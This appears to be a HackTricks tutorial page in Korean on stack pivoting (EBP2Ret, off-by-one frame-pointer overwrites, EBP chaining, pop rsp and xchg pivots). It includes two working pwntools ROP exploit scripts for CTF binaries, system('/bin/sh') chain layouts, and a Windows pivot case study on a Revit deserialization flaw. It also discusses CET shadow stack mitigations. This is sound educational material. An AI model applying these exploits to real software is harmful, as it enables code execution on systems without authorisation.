Stack Pivoting - EBP2Ret - EBP chaining

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

์ด ๊ธฐ๋ฒ•์€ frame pointer์˜ ์„ธ์‹ฌํ•œ ํ™œ์šฉ๊ณผ leave; ret ๋ช…๋ น ์‹œํ€€์Šค๋ฅผ ํ†ตํ•ด ์—ฌ๋Ÿฌ ํ•จ์ˆ˜์˜ ์‹คํ–‰์„ ์—ฐ๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด Base Pointer (EBP/RBP) ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋กœ, x86/x86-64์—์„œ leave ์€ ๋‹ค์Œ๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

๊ทธ๋ฆฌ๊ณ  ์ €์žฅ๋œ EBP/RBP๊ฐ€ ์ €์žฅ๋œ EIP/RIP๋ณด๋‹ค ์Šคํƒ์—์„œ ์•ž์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์Šคํƒ์„ ์ œ์–ดํ•˜๋ฉด ์ด๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค.

Notes

  • 64-bit์—์„œ๋Š” EBPโ†’RBP์™€ ESPโ†’RSP๋กœ ๋Œ€์ฒดํ•œ๋‹ค. ์˜๋ฏธ๋Š” ๋™์ผํ•˜๋‹ค.
  • ์ผ๋ถ€ ์ปดํŒŒ์ผ๋Ÿฌ๋Š” ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ๋ฅผ ์ƒ๋žตํ•œ๋‹ค (see โ€œEBP might not be usedโ€). ๊ทธ ๊ฒฝ์šฐ leave๊ฐ€ ์—†์„ ์ˆ˜ ์žˆ์–ด ์ด ๊ธฐ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š๋Š”๋‹ค.

EBP2Ret

์ด ๊ธฐ๋ฒ•์€ ์ €์žฅ๋œ EBP/RBP๋Š” ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์ง€๋งŒ EIP/RIP์„ ์ง์ ‘ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์— ํŠนํžˆ ์œ ์šฉํ•˜๋‹ค. ํ•จ์ˆ˜ epilogue ๋™์ž‘์„ ์ด์šฉํ•œ๋‹ค.

๋งŒ์•ฝ fvuln ์‹คํ–‰ ์ค‘ ์Šคํƒ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘ํ•œ fake EBP๋ฅผ ์ฃผ์ž…ํ•ด์„œ, ๊ทธ EBP๊ฐ€ shellcode/ROP ์ฒด์ธ ์ฃผ์†Œ๊ฐ€ ์ €์žฅ๋œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ(amd64์—์„œ pop์„ ๊ณ ๋ คํ•œ +8๋ฐ”์ดํŠธ, x86์—์„œ๋Š” +4๋ฐ”์ดํŠธ)์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋งŒ๋“ค๋ฉด, RIP์„ ๊ฐ„์ ‘์ ์œผ๋กœ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•จ์ˆ˜๊ฐ€ ๋ฆฌํ„ดํ•˜๋ฉด leave๊ฐ€ RSP๋ฅผ ์กฐ์ž‘ํ•œ ์œ„์น˜๋กœ ์„ค์ •ํ•˜๊ณ  ์ด์–ด์ง€๋Š” pop rbp๊ฐ€ RSP๋ฅผ ๊ฐ์†Œ์‹œ์ผœ ๊ฒฐ๊ณผ์ ์œผ๋กœ RSP๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ทธ๊ณณ์— ์ €์žฅํ•œ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ret์€ ๊ทธ ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋œ๋‹ค.

์—ฌ๊ธฐ์„œ ๋‘ ๊ฐœ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„์•ผ ํ•œ๋‹ค: ESP/RSP๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋  ์ฃผ์†Œ, ๊ทธ๋ฆฌ๊ณ  ret์ด ์†Œ๋น„ํ•  ํ•ด๋‹น ์ฃผ์†Œ์— ์ €์žฅ๋œ ๊ฐ’.

Exploit Construction

์šฐ์„  ์ž„์˜์˜ ๋ฐ์ดํ„ฐ/์ฃผ์†Œ๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋Š” ์ฃผ์†Œ๋ฅผ ์•Œ์•„์•ผ ํ•œ๋‹ค. RSP๊ฐ€ ์—ฌ๊ธฐ๋กœ ์„ค์ •๋˜๊ณ  ์ฒซ ๋ฒˆ์งธ ret์„ ์†Œ๋น„ํ•˜๊ฒŒ ๋œ๋‹ค.

๊ทธ ๋‹ค์Œ, ์ œ์–ด๋ฅผ ์ด์ „ํ•  ret์ด ์‚ฌ์šฉํ•  ์ฃผ์†Œ๋ฅผ ์„ ํƒํ•ด์•ผ ํ•œ๋‹ค. ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค:

  • ์œ ํšจํ•œ ONE_GADGET ์ฃผ์†Œ.
  • ์ ์ ˆํ•œ ๋ฆฌํ„ด๊ณผ ์ธ์ˆ˜๋ฅผ ํฌํ•จํ•œ **system()**์˜ ์ฃผ์†Œ (x86์˜ ๊ฒฝ์šฐ: ret ๋Œ€์ƒ = &system, ๊ทธ ๋‹ค์Œ 4๋ฐ”์ดํŠธ junk, ๊ทธ ๋‹ค์Œ &"/bin/sh").
  • ์ธ๋ผ์ธ shellcode๊ฐ€ ๋’ค๋”ฐ๋ฅด๋Š” jmp esp; ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ (ret2esp).
  • ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฉ”๋ชจ๋ฆฌ์— ์Šคํ…Œ์ด์ง€๋œ ROP ์ฒด์ธ.

์ปจํŠธ๋กค๋œ ์˜์—ญ์—์„œ ์ด ์ฃผ์†Œ๋“ค ์•ž์—๋Š” leave์—์„œ ์‹คํ–‰๋˜๋Š” pop ebp/rbp๋ฅผ ์œ„ํ•œ ๊ณต๊ฐ„(amd64์—์„œ๋Š” 8B, x86์—์„œ๋Š” 4B)์ด ์žˆ์–ด์•ผ ํ•œ๋‹ค. ์ด ๋ฐ”์ดํŠธ๋“ค์„ ์•…์šฉํ•ด ๋‘ ๋ฒˆ์งธ fake EBP๋ฅผ ์„ค์ •ํ•˜๊ณ  ์ฒซ ๋ฒˆ์งธ ํ˜ธ์ถœ์ด ๋ฆฌํ„ดํ•œ ์ดํ›„์—๋„ ์ œ์–ด๋ฅผ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค.

Off-By-One Exploit

์ €์žฅ๋œ EBP/RBP์˜ ์ตœํ•˜์œ„ ๋ฐ”์ดํŠธ๋งŒ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ์— ์‚ฌ์šฉํ•˜๋Š” ๋ณ€ํ˜•์ด ์žˆ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ ret๋กœ ์ ํ”„ํ•  ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜๋Š” 1๋ฐ”์ดํŠธ ๋ฎ์–ด์“ฐ๊ธฐ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋„๋ก ์›๋ž˜ EBP/RBP์™€ ์•ž์˜ 3๋ฐ”์ดํŠธ/5๋ฐ”์ดํŠธ๋ฅผ ๊ณต์œ ํ•ด์•ผ ํ•œ๋‹ค. ๋ณดํ†ต ๋‚ฎ์€ ๋ฐ”์ดํŠธ(offset 0x00)๋ฅผ ์ฆ๊ฐ€์‹œ์ผœ ์ธ๊ทผ ํŽ˜์ด์ง€/์ •๋ ฌ๋œ ์˜์—ญ ๋‚ด์—์„œ ๊ฐ€๋Šฅํ•œ ๋ฉ€๋ฆฌ ์ ํ”„ํ•˜๋„๋ก ํ•œ๋‹ค.

๋˜ํ•œ ์Šคํƒ์— RET sled๋ฅผ ๋‘๊ณ  ์‹ค์ œ ROP ์ฒด์ธ์„ ๋์— ๋ฐฐ์น˜ํ•ด ์ƒˆ RSP๊ฐ€ sled ์•ˆ์„ ๊ฐ€๋ฆฌํ‚ฌ ๊ฐ€๋Šฅ์„ฑ์„ ๋†’์ด๊ณ  ์ตœ์ข… ROP ์ฒด์ธ์ด ์‹คํ–‰๋˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ด๋‹ค.

EBP Chaining

์Šคํƒ์˜ ์ €์žฅ๋œ EBP ์Šฌ๋กฏ์— ์ œ์–ด ๊ฐ€๋Šฅํ•œ ์ฃผ์†Œ๋ฅผ ๋„ฃ๊ณ  EIP/RIP์— leave; ret ๊ฐ€์ ฏ์„ ๋‘๋ฉด ESP/RSP๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฃผ์†Œ๋กœ ์ด๋™์‹œํ‚ค๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์ด์ œ RSP๊ฐ€ ์ œ์–ด๋˜๊ณ  ๋‹ค์Œ ๋ช…๋ น์€ ret์ด๋‹ค. ์ œ์–ด๋œ ๋ฉ”๋ชจ๋ฆฌ์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์„ ๋„ฃ์–ด๋ผ:

  • &(next fake EBP) -> leave์—์„œ์˜ pop ebp/rbp๊ฐ€ ๋กœ๋“œํ•œ๋‹ค.
  • &system() -> ret์— ์˜ํ•ด ํ˜ธ์ถœ๋œ๋‹ค.
  • &(leave;ret) -> system์ด ๋๋‚œ ํ›„ RSP๋ฅผ ๋‹ค์Œ fake EBP๋กœ ์ด๋™์‹œํ‚ค๊ณ  ๊ณ„์† ์ง„ํ–‰ํ•œ๋‹ค.
  • &("/bin/sh") -> system์— ๋Œ€ํ•œ ์ธ์ˆ˜.

์ด๋ ‡๊ฒŒ ์—ฌ๋Ÿฌ ๊ฐœ์˜ fake EBP๋ฅผ ์ฒด์ธํ•ด ํ”„๋กœ๊ทธ๋žจ์˜ ํ๋ฆ„์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋Š” ret2lib์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋” ๋ณต์žกํ•˜๊ณ  ํŠน์ • ์—ฃ์ง€ ์ผ€์ด์Šค์—์„œ๋งŒ ์œ ์šฉํ•˜๋‹ค.

๋˜ํ•œ, ์—ฌ๊ธฐ ์ด ๊ธฐ๋ฒ•์„ stack leak๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•ด ์Šน๋ฆฌ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” example of a challenge๊ฐ€ ์žˆ๋‹ค. ๋‹ค์Œ์€ ๊ทธ ํŽ˜์ด์ง€์˜ ์ตœ์ข… ํŽ˜์ด๋กœ๋“œ์ด๋‹ค:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 ์ •๋ ฌ ํŒ: System V ABI๋Š” ํ˜ธ์ถœ ์ง€์ ์—์„œ 16๋ฐ”์ดํŠธ ์Šคํƒ ์ •๋ ฌ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค. ์ฒด์ธ์ด system ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค๋ฉด, ์ •๋ ฌ์„ ์œ ์ง€ํ•˜๊ณ  movaps ์ถฉ๋Œ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ํ˜ธ์ถœ ์ „์— ์ •๋ ฌ ๊ฐ€์ ฏ(์˜ˆ: ret ๋˜๋Š” sub rsp, 8 ; ret)์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”.

EBP๋Š” ์‚ฌ์šฉ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Œ

As explained in this post, ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ผ๋ถ€ ์ตœ์ ํ™”๋‚˜ ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ ์ƒ๋žต(frame-pointer omission)์œผ๋กœ ์ปดํŒŒ์ผ๋˜๋ฉด, EBP/RBP๋Š” ESP/RSP๋ฅผ ์ ˆ๋Œ€ ์ œ์–ดํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ EBP/RBP๋ฅผ ์ œ์–ดํ•˜์—ฌ ๋™์ž‘ํ•˜๋Š” ๋ชจ๋“  exploit์€ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์ด์œ ๋Š” ํ”„๋กค๋กœ๊ทธ/์—ํ•„๋กœ๊ทธ๊ฐ€ ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ์—์„œ ๋ณต์›ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

  • ์ตœ์ ํ™”๋˜์ง€ ์•Š์Œ / ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ ์‚ฌ์šฉ:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • ์ตœ์ ํ™”๋จ / ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ ์ƒ๋žต:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

amd64์—์„œ๋Š” ์ข…์ข… leave ; ret ๋Œ€์‹  pop rbp ; ret๋ฅผ ๋ณด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ํ”„๋ ˆ์ž„ ํฌ์ธํ„ฐ๊ฐ€ ์™„์ „ํžˆ ์ƒ๋žต๋˜๋ฉด rbp-๊ธฐ๋ฐ˜ epilogue๋ฅผ ํ†ตํ•ด pivotํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

Other ways to control RSP

pop rsp gadget

In this page์—์„œ ์ด ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•œ ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ฑŒ๋ฆฐ์ง€์—์„œ๋Š” 2๊ฐœ์˜ ํŠน์ • ์ธ์ž๋ฅผ ๊ฐ€์ง„ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด์•ผ ํ–ˆ๊ณ , pop rsp gadget๊ฐ€ ์žˆ์—ˆ์œผ๋ฉฐ ์Šคํƒ์œผ๋กœ๋ถ€ํ„ฐ์˜ leak์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp ๊ธฐ๋ฒ•์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”:

Ret2esp / Ret2reg

pivot gadgets ๋น ๋ฅด๊ฒŒ ์ฐพ๊ธฐ

์„ ํ˜ธํ•˜๋Š” gadget finder๋ฅผ ์‚ฌ์šฉํ•ด ๊ณ ์ „์ ์ธ pivot primitives๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”:

  • leave ; ret ํ•จ์ˆ˜๋‚˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (๋˜๋Š” x86์—์„œ๋Š” add esp, <imm> ; ret)

์˜ˆ์‹œ:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

ํด๋ž˜์‹ pivot staging ํŒจํ„ด

๋งŽ์€ CTFs/exploits์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฌ๊ณ ํ•œ pivot ์ „๋žต:

  1. ์ž‘์€ ์ดˆ๊ธฐ overflow๋ฅผ ์ด์šฉํ•ด read/recv๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํฌ๊ณ  ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์˜์—ญ(์˜ˆ: .bss, heap, ๋˜๋Š” mapped RW memory)์— ์ „์ฒด ROP chain์„ ๋ฐฐ์น˜ํ•œ๋‹ค.
  2. ํ•ด๋‹น ์˜์—ญ์œผ๋กœ RSP๋ฅผ ์˜ฎ๊ธฐ๊ธฐ ์œ„ํ•ด pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret)์œผ๋กœ ๋ฆฌํ„ดํ•œ๋‹ค.
  3. ์Šคํ…Œ์ด์ง€๋œ ์ฒด์ธ์„ ์ด์–ด๊ฐ„๋‹ค(์˜ˆ: leak libc, mprotect ํ˜ธ์ถœ, ์ดํ›„ shellcode๋ฅผ read๋กœ ์ฝ์–ด ์ ํ”„).

Windows: Destructor-loop weird-machine pivots (Revit RFA ์‚ฌ๋ก€ ์—ฐ๊ตฌ)

ํด๋ผ์ด์–ธํŠธ ์ธก ํŒŒ์„œ๋Š” ๋•Œ๋•Œ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฐ์ฒด ํ•„๋“œ์—์„œ ์œ ๋„๋œ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๊ฐ„์ ‘ ํ˜ธ์ถœํ•˜๋Š” destructor loop๋ฅผ ๊ตฌํ˜„ํ•œ๋‹ค. ๊ฐ ๋ฐ˜๋ณต์ด ์ •ํ™•ํžˆ ํ•˜๋‚˜์˜ ๊ฐ„์ ‘ ํ˜ธ์ถœ(โ€œone-gadgetโ€ machine)์„ ์ œ๊ณตํ•œ๋‹ค๋ฉด, ์ด๋ฅผ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” stack pivot๊ณผ ROP ์ง„์ž…์œผ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

Autodesk Revit RFA deserialization์—์„œ ๊ด€์ฐฐ๋จ (CVE-2025-5037):

  • ํƒ€์ž…์ด AString์ธ ์กฐ์ž‘๋œ ๊ฐ์ฒด๋Š” offset 0์— ๊ณต๊ฒฉ์ž ๋ฐ”์ดํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๋ฅผ ๋‘”๋‹ค.
  • destructor loop๋Š” ์‚ฌ์‹ค์ƒ ๊ฐ์ฒด๋‹น ํ•˜๋‚˜์˜ gadget์„ ์‹คํ–‰ํ•œ๋‹ค:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

๋‘ ๊ฐ€์ง€ ์‹ค์šฉ์  ํ”ผ๋ฒ—:

  • Windows 10 (32-bit heap addrs): misaligned โ€œmonster gadgetโ€๊ฐ€ 8B E0 โ†’ mov esp, eax๋ฅผ ํฌํ•จํ•˜๊ณ , ๊ฒฐ๊ตญ ret๋กœ ๋๋‚˜๋ฉฐ call primitive์—์„œ heap ๊ธฐ๋ฐ˜ ROP ์ฒด์ธ์œผ๋กœ ํ”ผ๋ฒ—ํ•ฉ๋‹ˆ๋‹ค.
  • Windows 11 (full 64-bit addrs): ๋‘ ๊ฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•ด constrained weird-machine pivot์„ ๊ตฌ๋™ํ•ฉ๋‹ˆ๋‹ค:
  • Gadget 1: push rax ; pop rbp ; ret (์›๋ž˜ rax๋ฅผ rbp๋กœ ์ด๋™)
  • Gadget 2: leave ; ... ; ret (becomes mov rsp, rbp ; pop rbp ; ret), ์ฒซ ๋ฒˆ์งธ ๊ฐ์ฒด์˜ ๋ฒ„ํผ๋กœ ํ”ผ๋ฒ—ํ•˜์—ฌ ๊ทธ๊ณณ์—์„œ ๊ธฐ์กด์˜ ROP ์ฒด์ธ์ด ์ด์–ด์ง‘๋‹ˆ๋‹ค.

Windows x64์—์„œ ํ”ผ๋ฒ— ํ›„ ํŒ:

  • 0x20-byte shadow space๋ฅผ ์ค€์ˆ˜ํ•˜๊ณ  call ์ง€์  ์ด์ „์— 16-byte ์ •๋ ฌ์„ ์œ ์ง€ํ•˜์„ธ์š”. ๋ฆฌํ„ฐ๋Ÿด์„ return address ์œ„์— ๋ฐฐ์น˜ํ•˜๊ณ  lea rcx, [rsp+0x20] ; call rax ๊ฐ™์€ ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•œ ๋’ค pop rax ; ret๋กœ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ „๋‹ฌํ•˜๋ฉด ์ œ์–ด ํ๋ฆ„์„ ๋ง์น˜์ง€ ์•Š์œผ๋ฉด์„œ ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • Non-ASLR helper modules(์กด์žฌํ•  ๊ฒฝ์šฐ)๋Š” ์•ˆ์ •์ ์ธ ๊ฐ€์ ฏ ํ’€๊ณผ LoadLibraryW/GetProcAddress ๊ฐ™์€ import๋ฅผ ์ œ๊ณตํ•˜์—ฌ ucrtbase!system ๊ฐ™์€ ๋Œ€์ƒ๋“ค์„ ๋™์ ์œผ๋กœ ํ•ด์„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • writable thunk์„ ํ†ตํ•œ ๋ˆ„๋ฝ๋œ ๊ฐ€์ ฏ ์ƒ์„ฑ: ์œ ๋งํ•œ ์‹œํ€€์Šค๊ฐ€ writable function pointer๋ฅผ ํ†ตํ•œ call๋กœ ๋๋‚œ๋‹ค๋ฉด(์˜ˆ: DLL import thunk ๋˜๋Š” .data์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ), ํ•ด๋‹น ํฌ์ธํ„ฐ๋ฅผ pop rax ; ret ๊ฐ™์€ ๋ฌดํ•ดํ•œ ๋‹จ์ผ ์Šคํ…์œผ๋กœ ๋ฎ์–ด์“ฐ์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด ์‹œํ€€์Šค๋Š” ret๋กœ ๋๋‚˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: mov rdx, rsi ; mov rcx, rdi ; ret). ์ด๋Š” ๋‹ค๋ฅธ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ํ›ผ์†ํ•˜์ง€ ์•Š๊ณ  Windows x64 ์ธ์ž ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ „์ฒด ์ฒด์ธ ๊ตฌ์„ฑ ๋ฐ ๊ฐ€์ ฏ ์˜ˆ์‹œ๋Š” ์•„๋ž˜ ์ฐธ์กฐ๋ฅผ ๋ณด์„ธ์š”.

stack pivoting์„ ๋ฐฉํ•ดํ•˜๋Š” ํ˜„๋Œ€์  ์™„ํ™”์ฑ… (CET/Shadow Stack)

ํ˜„๋Œ€ x86 CPU์™€ OS๋Š” ์ ์  ๋” **CET Shadow Stack (SHSTK)**์„ ๋„์ž…ํ•ฉ๋‹ˆ๋‹ค. SHSTK๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด ret๋Š” ์ผ๋ฐ˜ ์Šคํƒ์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ํ•˜๋“œ์›จ์–ด๋กœ ๋ณดํ˜ธ๋˜๋Š” shadow stack์˜ ๊ฐ’๊ณผ ๋น„๊ตํ•˜๋ฉฐ, ๋ถˆ์ผ์น˜๊ฐ€ ์žˆ์œผ๋ฉด Control-Protection fault๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ EBP2Ret/leave;ret ๊ธฐ๋ฐ˜์˜ pivots ๊ฐ™์€ ๊ธฐ์ˆ ์€ ํ”ผ๋ฒ—๋œ ์Šคํƒ์—์„œ ์ฒซ ret์ด ์‹คํ–‰๋˜๋Š” ์ฆ‰์‹œ ์ถฉ๋Œํ•ฉ๋‹ˆ๋‹ค.

  • ๋ฐฐ๊ฒฝ ๋ฐ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐ:

CET & Shadow Stack

  • Linux์—์„œ์˜ ๋น ๋ฅธ ์ ๊ฒ€:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notes for labs/CTF:

  • ์ผ๋ถ€ ์ตœ์‹  ๋ฐฐํฌํŒ์€ ํ•˜๋“œ์›จ์–ด์™€ glibc ์ง€์›์ด ์žˆ์„ ๋•Œ CET ์ง€์› ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•ด SHSTK๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. VM์—์„œ ์ œ์–ด๋œ ํ…Œ์ŠคํŠธ๋ฅผ ํ•  ๊ฒฝ์šฐ, ์‹œ์Šคํ…œ ์ „์ฒด์—์„œ SHSTK๋Š” ์ปค๋„ ๋ถ€ํŒ… ํŒŒ๋ผ๋ฏธํ„ฐ nousershstk๋กœ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ๊ณ , ์‹œ์ž‘ ์‹œ glibc tunables๋ฅผ ํ†ตํ•ด ์„ ํƒ์ ์œผ๋กœ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ฐธ์กฐ ์ฐธ์กฐ). ์šด์˜ ๋Œ€์ƒ์—์„œ ์™„ํ™” ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์ง€ ๋งˆ์„ธ์š”.

